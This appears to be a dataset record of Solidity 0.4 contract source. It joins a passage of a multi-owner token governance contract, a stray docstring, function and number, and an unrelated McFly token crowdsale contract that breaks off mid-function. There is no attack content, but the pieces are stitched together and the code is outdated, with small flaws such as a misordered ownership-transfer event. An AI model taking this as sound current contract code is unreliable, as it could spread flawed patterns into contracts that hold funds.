addRole(_addr, ROLE_MULTIOWNER); ownerOfSides[_addr] = _side; // } if (sideExist[_side] == 0) { multiOwnerSides = multiOwnerSides.add(1); } sideExist[_side] = sideExist[_side].add(1); } /** * @dev add an address to the whitelist * @param _addr address will be one of the multiOwner * @param _side the side name of the multiOwner * @return true if the address was added to the multiOwners list, * false if the address was already in the multiOwners list */ function initAddressAsMultiOwner(address _addr, string _side) onlyOwner canInitial public { // require(initAdd); addAddress(_addr, _side); // initAdd = false; emit OwnerAdded(_addr, _side); } /** * @dev Function to stop initial stage. */ function finishInitOwners() onlyOwner canInitial public { initAdd = false; emit InitialFinished(); } /** * @dev add an address to the whitelist * @param _addr address * @param _side the side name of the multiOwner * @return true if the address was added to the multiOwners list, * false if the address was already in the multiOwners list */ function addAddressAsMultiOwner(address _addr, string _side) onlyMultiOwners public { require(hasAuth(AUTH_ADDOWNER)); addAddress(_addr, _side); clearAuth(AUTH_ADDOWNER); emit OwnerAdded(_addr, _side); } /** * @dev getter to determine if address is in multiOwner list */ function isMultiOwner(address _addr) public view returns (bool) { return hasRole(_addr, ROLE_MULTIOWNER); } /** * @dev remove an address from the whitelist * @param _addr address * @return true if the address was removed from the multiOwner list, * false if the address wasn't in the multiOwner list */ function removeAddressFromOwners(address _addr) onlyMultiOwners public { require(hasAuth(AUTH_REMOVEOWNER)); removeRole(_addr, ROLE_MULTIOWNER); // first remove the owner uint j = 0; for (; j < owners.length; j = j.add(1)) { if (owners[j] == _addr) { delete owners[j]; break; } } if (j < owners.length) { for (uint jj = j; jj < owners.length.sub(1); jj = jj.add(1)) { owners[jj] = owners[jj.add(1)]; } delete owners[owners.length.sub(1)]; owners.length = owners.length.sub(1); } string memory side = ownerOfSides[_addr]; // if (sideExist[side] > 0) { sideExist[side] = sideExist[side].sub(1); if (sideExist[side] == 0) { require(multiOwnerSides > 2); // not allow only left 1 side multiOwnerSides = multiOwnerSides.sub(1); // this side has been removed } // for every event type, if this owner has voted the event, then need to remove for (uint i = 0; i < authTypes.length; ) { address[] storage voters = sideVoters[side][authTypes[i]]; for (uint m = 0; m < voters.length; m = m.add(1)) { if (voters[m] == _addr) { delete voters[m]; break; } } if (m < voters.length) { for (uint n = m; n < voters.length.sub(1); n = n.add(1)) { voters[n] = voters[n.add(1)]; } delete voters[voters.length.sub(1)]; voters.length = voters.length.sub(1); // if this side only have this 1 voter, the authorization of this event need to be decreased if (voters.length == 0) { authorizations[authTypes[i]] = authorizations[authTypes[i]].sub(1); } // if there is no authorization of this event, the event need to be removed if (authorizations[authTypes[i]] == 0) { delete authTypes[i]; for (uint kk = i; kk < authTypes.length.sub(1); kk = kk.add(1)) { authTypes[kk] = authTypes[kk.add(1)]; } delete authTypes[authTypes.length.sub(1)]; authTypes.length = authTypes.length.sub(1); } else { i = i.add(1); } } else { i = i.add(1); } } // } delete ownerOfSides[_addr]; clearAuth(AUTH_REMOVEOWNER); emit OwnerRemoved(_addr); } } contract MultiOwnerContract is MultiOwners { Claimable public ownedContract; address public pendingOwnedOwner; // address internal origOwner; string public constant AUTH_CHANGEOWNEDOWNER = "transferOwnerOfOwnedContract"; /** * @dev Modifier throws if called by any account other than the pendingOwner. */ // modifier onlyPendingOwnedOwner() { // require(msg.sender == pendingOwnedOwner); // _; // } /** * @dev bind a contract as its owner * * @param _contract the contract address that will be binded by this Owner Contract */ function bindContract(address _contract) onlyOwner public returns (bool) { require(_contract != address(0)); ownedContract = Claimable(_contract); // origOwner = ownedContract.owner(); // take ownership of the owned contract ownedContract.claimOwnership(); return true; } /** * @dev change the owner of the contract from this contract address to the original one. * */ // function transferOwnershipBack() onlyOwner public { // ownedContract.transferOwnership(origOwner); // ownedContract = Claimable(address(0)); // origOwner = address(0); // } /** * @dev change the owner of the contract from this contract address to another one. * * @param _nextOwner the contract address that will be next Owner of the original Contract */ function changeOwnedOwnershipto(address _nextOwner) onlyMultiOwners public { require(ownedContract != address(0)); require(hasAuth(AUTH_CHANGEOWNEDOWNER)); if (ownedContract.owner() != pendingOwnedOwner) { ownedContract.transferOwnership(_nextOwner); pendingOwnedOwner = _nextOwner; // ownedContract = Claimable(address(0)); // origOwner = address(0); } else { // the pending owner has already taken the ownership ownedContract = Claimable(address(0)); pendingOwnedOwner = address(0); } clearAuth(AUTH_CHANGEOWNEDOWNER); } function ownedOwnershipTransferred() onlyOwner public returns (bool) { require(ownedContract != address(0)); if (ownedContract.owner() == pendingOwnedOwner) { // the pending owner has already taken the ownership ownedContract = Claimable(address(0)); pendingOwnedOwner = address(0); return true; } else { return false; } } } contract DRCTOwner is MultiOwnerContract { string public constant AUTH_INITCONGRESS = "initCongress"; string public constant AUTH_CANMINT = "canMint"; string public constant AUTH_SETMINTAMOUNT = "setMintAmount"; string public constant AUTH_FREEZEACCOUNT = "freezeAccount"; bool congressInit = false; // bool paramsInit = false; // iParams public params; uint256 onceMintAmount; // function initParams(address _params) onlyOwner public { // require(!paramsInit); // require(_params != address(0)); // params = _params; // paramsInit = false; // } /** * @dev Function to set mint token amount * @param _value The mint value. */ function setOnceMintAmount(uint256 _value) onlyMultiOwners public { require(hasAuth(AUTH_SETMINTAMOUNT)); require(_value > 0); onceMintAmount = _value; clearAuth(AUTH_SETMINTAMOUNT); } /** * @dev change the owner of the contract from this contract address to another one. * * @param _congress the contract address that will be next Owner of the original Contract */ function initCongress(address _congress) onlyMultiOwners public { require(hasAuth(AUTH_INITCONGRESS)); require(!congressInit); itoken tk = itoken(address(ownedContract)); tk.initialCongress(_congress); clearAuth(AUTH_INITCONGRESS); congressInit = true; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @return A boolean that indicates if the operation was successful. */ function mint(address _to) onlyMultiOwners public returns (bool) { require(hasAuth(AUTH_CANMINT)); itoken tk = itoken(address(ownedContract)); bool res = tk.mint(_to, onceMintAmount); clearAuth(AUTH_CANMINT); return res; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyMultiOwners public returns (bool) { require(hasAuth(AUTH_CANMINT)); itoken tk = itoken(address(ownedContract)); bool res = tk.finishMinting(); clearAuth(AUTH_CANMINT); return res; } /** * @dev freeze the account's balance under urgent situation * * by default all the accounts will not be frozen until set freeze value as true. * * @param _target address the account should be frozen * @param _freeze bool if true, the account will be frozen */ function freezeAccountDirect(address _target, bool _freeze) onlyMultiOwners public { require(hasAuth(AUTH_FREEZEACCOUNT)); require(_target != address(0)); itoken tk = itoken(address(ownedContract)); tk.freezeAccount(_target, _freeze); clearAuth(AUTH_FREEZEACCOUNT); } /** * @dev freeze the account's balance * * by default all the accounts will not be frozen until set freeze value as true. * * @param _target address the account should be frozen * @param _freeze bool if true, the account will be frozen */ function freezeAccount(address _target, bool _freeze) onlyOwner public { require(_target != address(0)); itoken tk = itoken(address(ownedContract)); if (_freeze) { require(tk.allowance(_target, this) == tk.balanceOf(_target)); } tk.freezeAccount(_target, _freeze); } /** * @dev freeze the account's balance * * @param _target address the account should be frozen * @param _value uint256 the amount of tokens that will be frozen */ function freezeAccountPartialy(address _target, uint256 _value) onlyOwner public { require(_target != address(0)); itoken tk = itoken(address(ownedContract)); require(tk.allowance(_target, this) == _value); tk.freezeAccountPartialy(_target, _value); } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner public { itoken tk = itoken(address(ownedContract)); tk.pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner public { itoken tk = itoken(address(ownedContract)); tk.unpause(); } } library Roles { struct Role { mapping (address => bool) bearer; } /** * @dev give an address access to this role */ function add(Role storage role, address addr) internal { role.bearer[addr] = true; } /** * @dev remove an address' access to this role */ function remove(Role storage role, address addr) internal { role.bearer[addr] = false; } /** * @dev check if an address has this role * // reverts */ function check(Role storage role, address addr) view internal { require(has(role, addr)); } /** * @dev check if an address has this role * @return bool */ function has(Role storage role, address addr) view internal returns (bool) { return role.bearer[addr]; } }
Function to stop initial stage./
function finishInitOwners() onlyOwner canInitial public { initAdd = false; emit InitialFinished(); }
1,496,878
pragma solidity ^0.4.19; /** * @title ERC20 Basic smart contract * @author Copyright (c) 2016 Smart Contract Solutions, Inc. * @author "Manuel Araoz <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="6c010d021909000d1e0d03162c0b010d0500420f0301">[email&#160;protected]</a>>" * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 * @dev license: "MIT", source: https://github.com/OpenZeppelin/zeppelin-solidity * @author modification: Dmitriy Khizhinskiy @McFly.aero */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title LengthValidator smart contract - fix ERC20 short address attack * @author Copyright (c) 2018 McFly.aero * @author Dmitriy Khizhinskiy * @author "MIT" */ contract LengthValidator { modifier valid_short(uint _cntArgs) { assert(msg.data.length == (_cntArgs * 32 + 4)); _; } } /** * @title Ownable smart contract * @author Copyright (c) 2016 Smart Contract Solutions, Inc. * @author "Manuel Araoz <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="3d505c534858515c4f5c52477d5a505c5451135e5250">[email&#160;protected]</a>>" * @dev license: "MIT", source: https://github.com/OpenZeppelin/zeppelin-solidity * @author modification: Dmitriy Khizhinskiy @McFly.aero * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; address public candidate; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to _request_ transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function requestOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); candidate = newOwner; } /** * @dev Allows the _NEW_ candidate to complete transfer control of the contract to him. */ function confirmOwnership() public { require(candidate == msg.sender); owner = candidate; OwnershipTransferred(owner, candidate); } } /** * @title MultiOwners smart contract * @author Copyright (c) 2018 McFly.aero * @author Dmitriy Khizhinskiy * @author "MIT" */ contract MultiOwners { event AccessGrant(address indexed owner); event AccessRevoke(address indexed owner); mapping(address => bool) owners; address public publisher; function MultiOwners() public { owners[msg.sender] = true; publisher = msg.sender; } modifier onlyOwner() { require(owners[msg.sender] == true); _; } function isOwner() constant public returns (bool) { return owners[msg.sender] ? true : false; } function checkOwner(address maybe_owner) constant public returns (bool) { return owners[maybe_owner] ? true : false; } function grant(address _owner) onlyOwner public { owners[_owner] = true; AccessGrant(_owner); } function revoke(address _owner) onlyOwner public { require(_owner != publisher); require(msg.sender != _owner); owners[_owner] = false; AccessRevoke(_owner); } } /** * @title SafeMath * @author Copyright (c) 2016 Smart Contract Solutions, Inc. * @author "Manuel Araoz <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="d3beb2bda6b6bfb2a1b2bca993b4beb2babffdb0bcbe">[email&#160;protected]</a>>" * @dev license: "MIT", source: https://github.com/OpenZeppelin/zeppelin-solidity * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title BasicToken smart contract * @author Copyright (c) 2016 Smart Contract Solutions, Inc. * @author "Manuel Araoz <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="513c303f24343d3023303e2b11363c30383d7f323e3c">[email&#160;protected]</a>>" * @dev license: "MIT", source: https://github.com/OpenZeppelin/zeppelin-solidity * @author modification: Dmitriy Khizhinskiy @McFly.aero */ /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic, LengthValidator { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) valid_short(2) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title ERC20 smart contract * @author Copyright (c) 2016 Smart Contract Solutions, Inc. * @author "Manuel Araoz <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="b2dfd3dcc7d7ded3c0d3ddc8f2d5dfd3dbde9cd1dddf">[email&#160;protected]</a>>" * @dev license: "MIT", source: https://github.com/OpenZeppelin/zeppelin-solidity * @author modification: Dmitriy Khizhinskiy @McFly.aero */ /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * @author Copyright (c) 2016 Smart Contract Solutions, Inc. * @author "Manuel Araoz <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="771a161902121b160516180d37101a161e1b5914181a">[email&#160;protected]</a>>" * @dev license: "MIT", source: https://github.com/OpenZeppelin/zeppelin-solidity * @author modification: Dmitriy Khizhinskiy @McFly.aero * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) valid_short(3) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) valid_short(2) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Mintable token smart contract * @author Copyright (c) 2016 Smart Contract Solutions, Inc. * @author "Manuel Araoz <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="ed808c839888818c9f8c8297ad8a808c8481c38e8280">[email&#160;protected]</a>>" * @dev license: "MIT", source: https://github.com/OpenZeppelin/zeppelin-solidity * @author modification: Dmitriy Khizhinskiy @McFly.aero * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint valid_short(2) public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } } /** * @title McFly token smart contract * @author Copyright (c) 2018 McFly.aero * @author Dmitriy Khizhinskiy * @author "MIT" */ contract McFlyToken is MintableToken { string public constant name = "McFlyToken"; string public constant symbol = "McFly"; uint8 public constant decimals = 18; /// @dev mapping for whitelist mapping(address=>bool) whitelist; /// @dev event throw when allowed to transfer address added to whitelist /// @param from address event AllowTransfer(address from); /// @dev check for allowence of transfer modifier canTransfer() { require(mintingFinished || whitelist[msg.sender]); _; } /// @dev add address to whitelist /// @param from address to add function allowTransfer(address from) onlyOwner public { whitelist[from] = true; AllowTransfer(from); } /// @dev Do the transfer from address to address value /// @param from address from /// @param to address to /// @param value uint256 function transferFrom(address from, address to, uint256 value) canTransfer public returns (bool) { return super.transferFrom(from, to, value); } /// @dev Do the transfer from token address to "to" address value /// @param to address to /// @param value uint256 value function transfer(address to, uint256 value) canTransfer public returns (bool) { return super.transfer(to, value); } } /** * @title Haltable smart contract - controls owner access * @author Copyright (c) 2018 McFly.aero * @author Dmitriy Khizhinskiy * @author "MIT" */ contract Haltable is MultiOwners { bool public halted; modifier stopInEmergency { require(!halted); _; } modifier onlyInEmergency { require(halted); _; } /// @dev called by the owner on emergency, triggers stopped state function halt() external onlyOwner { halted = true; } /// @dev called by the owner on end of emergency, returns to normal state function unhalt() external onlyOwner onlyInEmergency { halted = false; } } /** * @title McFly crowdsale smart contract * @author Copyright (c) 2018 McFly.aero * @author Dmitriy Khizhinskiy * @author "MIT" * @dev inherited from MultiOwners & Haltable */ contract McFlyCrowd is MultiOwners, Haltable { using SafeMath for uint256; /// @dev Total ETH received during WAVES, TLP1.2 & window[1-5] uint256 public counter_in; // tlp2 /// @dev minimum ETH to partisipate in window 1-5 uint256 public minETHin = 1e18; // 1 ETH /// @dev Token McFlyToken public token; /// @dev Withdraw wallet address public wallet; /// @dev start and end timestamp for TLP 1.2, other values callculated uint256 public sT2; // startTimeTLP2 uint256 constant dTLP2 = 118 days; // days of TLP2 uint256 constant dBt = 60 days; // days between Windows uint256 constant dW = 12 days; // 12 days for 3,4,5,6,7 windows; /// @dev Cap maximum possible tokens for minting uint256 public constant hardCapInTokens = 1800e24; // 1,800,000,000 MFL /// @dev maximum possible tokens for sell uint256 public constant mintCapInTokens = 1260e24; // 1,260,000,000 MFL /// @dev tokens crowd within TLP2 uint256 public crowdTokensTLP2; /// @dev tokens crowd before this contract (MFL tokens) uint256 preMcFlyTotalSupply; /// @dev maximum possible tokens for fund minting uint256 constant fundTokens = 270e24; // 270,000,000 MFL uint256 public fundTotalSupply; address public fundMintingAgent; /// @dev maximum possible tokens to convert from WAVES uint256 wavesTokens = 100e24; // 100,000,000 MFL address public wavesAgent; address public wavesGW; /// @dev Vesting param for team, advisory, reserve. uint256 VestingPeriodInSeconds = 30 days; // 24 month uint256 VestingPeriodsCount = 24; /// @dev Team 10% uint256 _teamTokens; uint256 public teamTotalSupply; address public teamWallet; /// @dev Bounty 5% (2% + 3%) /// @dev Bounty online 2% uint256 _bountyOnlineTokens; address public bountyOnlineWallet; address public bountyOnlineGW; /// @dev Bounty offline 3% uint256 _bountyOfflineTokens; address public bountyOfflineWallet; /// @dev Advisory 5% uint256 _advisoryTokens; uint256 public advisoryTotalSupply; address public advisoryWallet; /// @dev Reserved for future 9% uint256 _reservedTokens; uint256 public reservedTotalSupply; address public reservedWallet; /// @dev AirDrop 1% uint256 _airdropTokens; address public airdropWallet; address public airdropGW; /// @dev PreMcFly wallet (MFL) uint256 _preMcFlyTokens; address public preMcFlyWallet; /// @dev Ppl structure for Win1-5 struct Ppl { address addr; uint256 amount; } mapping (uint32 => Ppl) public ppls; /// @dev Window structure for Win1-5 struct Window { bool active; uint256 totalEthInWindow; uint32 totalTransCnt; uint32 refundIndex; uint256 tokenPerWindow; } mapping (uint8 => Window) public ww; /// @dev Events event TokenPurchase(address indexed beneficiary, uint256 value, uint256 amount); event TokenPurchaseInWindow(address indexed beneficiary, uint256 value, uint8 winnum, uint32 totalcnt, uint256 totaleth1); event TransferOddEther(address indexed beneficiary, uint256 value); event FundMinting(address indexed beneficiary, uint256 value); event WithdrawVesting(address indexed beneficiary, uint256 period, uint256 value, uint256 valueTotal); event TokenWithdrawAtWindow(address indexed beneficiary, uint256 value); event SetFundMintingAgent(address newAgent); event SetTeamWallet(address newTeamWallet); event SetAdvisoryWallet(address newAdvisoryWallet); event SetReservedWallet(address newReservedWallet); event SetStartTimeTLP2(uint256 newStartTimeTLP2); event SetMinETHincome(uint256 newMinETHin); event NewWindow(uint8 winNum, uint256 amountTokensPerWin); event TokenETH(uint256 totalEth, uint32 totalCnt); /// @dev check for Non zero value modifier validPurchase() { bool nonZeroPurchase = msg.value != 0; require(nonZeroPurchase); _; } // comment this functions after test passed !! /*function getPpls(uint32 index) constant public returns (uint256) { return (ppls[index].amount); } function getPplsAddr(uint32 index) constant public returns (address) { return (ppls[index].addr); } function getWtotalEth(uint8 winNum) constant public returns (uint256) { return (ww[winNum].totalEthInWindow); } function getWtoken(uint8 winNum) constant public returns (uint256) { return (ww[winNum].tokenPerWindow); } function getWactive(uint8 winNum) constant public returns (bool) { return (ww[winNum].active); } function getWtotalTransCnt(uint8 winNum) constant public returns (uint32) { return (ww[winNum].totalTransCnt); } function getWrefundIndex(uint8 winNum) constant public returns (uint32) { return (ww[winNum].refundIndex); }*/ // END comment this functions after test passed !! /** * @dev conctructor of contract, set main params, create new token, do minting for some wallets * @param _startTimeTLP2 - set date time of starting of TLP2 (main date!) * @param _preMcFlyTotalSupply - set amount in wei total supply of previouse contract (MFL) * @param _wallet - wallet for transfer ETH to it * @param _wavesAgent - wallet for WAVES gw * @param _wavesGW - wallet for WAVES gw * @param _fundMintingAgent - wallet who allowed to mint before TLP2 * @param _teamWallet - wallet for team vesting * @param _bountyOnlineWallet - wallet for online bounty * @param _bountyOnlineGW - wallet for online bounty GW * @param _bountyOfflineWallet - wallet for offline bounty * @param _advisoryWallet - wallet for advisory vesting * @param _reservedWallet - wallet for reserved vesting * @param _airdropWallet - wallet for airdrop * @param _airdropGW - wallet for airdrop GW * @param _preMcFlyWallet - wallet for transfer old MFL->McFly (once) */ function McFlyCrowd( uint256 _startTimeTLP2, uint256 _preMcFlyTotalSupply, address _wallet, address _wavesAgent, address _wavesGW, address _fundMintingAgent, address _teamWallet, address _bountyOnlineWallet, address _bountyOnlineGW, address _bountyOfflineWallet, address _advisoryWallet, address _reservedWallet, address _airdropWallet, address _airdropGW, address _preMcFlyWallet ) public { require(_startTimeTLP2 >= block.timestamp); require(_preMcFlyTotalSupply > 0); require(_wallet != 0x0); require(_wavesAgent != 0x0); require(_wavesGW != 0x0); require(_fundMintingAgent != 0x0); require(_teamWallet != 0x0); require(_bountyOnlineWallet != 0x0); require(_bountyOnlineGW != 0x0); require(_bountyOfflineWallet != 0x0); require(_advisoryWallet != 0x0); require(_reservedWallet != 0x0); require(_airdropWallet != 0x0); require(_airdropGW != 0x0); require(_preMcFlyWallet != 0x0); token = new McFlyToken(); wallet = _wallet; sT2 = _startTimeTLP2; setStartEndTimeTLP(_startTimeTLP2); wavesAgent = _wavesAgent; wavesGW = _wavesGW; fundMintingAgent = _fundMintingAgent; teamWallet = _teamWallet; bountyOnlineWallet = _bountyOnlineWallet; bountyOnlineGW = _bountyOnlineGW; bountyOfflineWallet = _bountyOfflineWallet; advisoryWallet = _advisoryWallet; reservedWallet = _reservedWallet; airdropWallet = _airdropWallet; airdropGW = _airdropGW; preMcFlyWallet = _preMcFlyWallet; /// @dev Mint all tokens and than control it by vesting _preMcFlyTokens = _preMcFlyTotalSupply; // McFly for thansfer to old MFL owners token.mint(preMcFlyWallet, _preMcFlyTokens); token.allowTransfer(preMcFlyWallet); crowdTokensTLP2 = crowdTokensTLP2.add(_preMcFlyTokens); token.mint(wavesAgent, wavesTokens); // 100,000,000 MFL token.allowTransfer(wavesAgent); token.allowTransfer(wavesGW); crowdTokensTLP2 = crowdTokensTLP2.add(wavesTokens); _teamTokens = 180e24; // 180,000,000 MFL token.mint(this, _teamTokens); // mint to contract address _bountyOnlineTokens = 36e24; // 36,000,000 MFL token.mint(bountyOnlineWallet, _bountyOnlineTokens); token.allowTransfer(bountyOnlineWallet); token.allowTransfer(bountyOnlineGW); _bountyOfflineTokens = 54e24; // 54,000,000 MFL token.mint(bountyOfflineWallet, _bountyOfflineTokens); token.allowTransfer(bountyOfflineWallet); _advisoryTokens = 90e24; // 90,000,000 MFL token.mint(this, _advisoryTokens); _reservedTokens = 162e24; // 162,000,000 MFL token.mint(this, _reservedTokens); _airdropTokens = 18e24; // 18,000,000 MFL token.mint(airdropWallet, _airdropTokens); token.allowTransfer(airdropWallet); token.allowTransfer(airdropGW); } /** * @dev check is TLP2 is active? * @return false if crowd TLP2 event was ended */ function withinPeriod() constant public returns (bool) { bool withinPeriodTLP2 = (now >= sT2 && now <= (sT2+dTLP2)); return withinPeriodTLP2; } /** * @dev check is TLP2 is active and minting Not finished * @return false if crowd event was ended */ function running() constant public returns (bool) { return withinPeriod() && !token.mintingFinished(); } /** * @dev check current stage name * @return uint8 stage number */ function stageName() constant public returns (uint8) { uint256 eT2 = sT2+dTLP2; if (now < sT2) {return 101;} // not started if (now >= sT2 && now <= eT2) {return (102);} // TLP1.2 if (now > eT2 && now < eT2+dBt) {return (103);} // preTLP1.3 if (now >= (eT2+dBt) && now <= (eT2+dBt+dW)) {return (0);} // TLP1.3 if (now > (eT2+dBt+dW) && now < (eT2+dBt+dW+dBt)) {return (104);} // preTLP1.4 if (now >= (eT2+dBt+dW+dBt) && now <= (eT2+dBt+dW+dBt+dW)) {return (1);} // TLP1.4 if (now > (eT2+dBt+dW+dBt+dW) && now < (eT2+dBt+dW+dBt+dW+dBt)) {return (105);} // preTLP1.5 if (now >= (eT2+dBt+dW+dBt+dW+dBt) && now <= (eT2+dBt+dW+dBt+dW+dBt+dW)) {return (2);} // TLP1.5 if (now > (eT2+dBt+dW+dBt+dW+dBt+dW) && now < (eT2+dBt+dW+dBt+dW+dBt+dW+dBt)) {return (106);} // preTLP1.6 if (now >= (eT2+dBt+dW+dBt+dW+dBt+dW+dBt) && now <= (eT2+dBt+dW+dBt+dW+dBt+dW+dBt+dW)) {return (3);} // TLP1.6 if (now > (eT2+dBt+dW+dBt+dW+dBt+dW+dBt+dW) && now < (eT2+dBt+dW+dBt+dW+dBt+dW+dBt+dW+dBt)) {return (107);} // preTLP1.7 if (now >= (eT2+dBt+dW+dBt+dW+dBt+dW+dBt+dW+dBt) && now <= (eT2+dBt+dW+dBt+dW+dBt+dW+dBt+dW+dBt+dW)) {return (4);} // TLP1.7" if (now > (eT2+dBt+dW+dBt+dW+dBt+dW+dBt+dW+dBt+dW)) {return (200);} // Finished return (201); // unknown } /** * @dev change agent for minting * @param agent - new agent address */ function setFundMintingAgent(address agent) onlyOwner public { fundMintingAgent = agent; SetFundMintingAgent(agent); } /** * @dev change wallet for team vesting (this make possible to set smart-contract address later) * @param _newTeamWallet - new wallet address */ function setTeamWallet(address _newTeamWallet) onlyOwner public { teamWallet = _newTeamWallet; SetTeamWallet(_newTeamWallet); } /** * @dev change wallet for advisory vesting (this make possible to set smart-contract address later) * @param _newAdvisoryWallet - new wallet address */ function setAdvisoryWallet(address _newAdvisoryWallet) onlyOwner public { advisoryWallet = _newAdvisoryWallet; SetAdvisoryWallet(_newAdvisoryWallet); } /** * @dev change wallet for reserved vesting (this make possible to set smart-contract address later) * @param _newReservedWallet - new wallet address */ function setReservedWallet(address _newReservedWallet) onlyOwner public { reservedWallet = 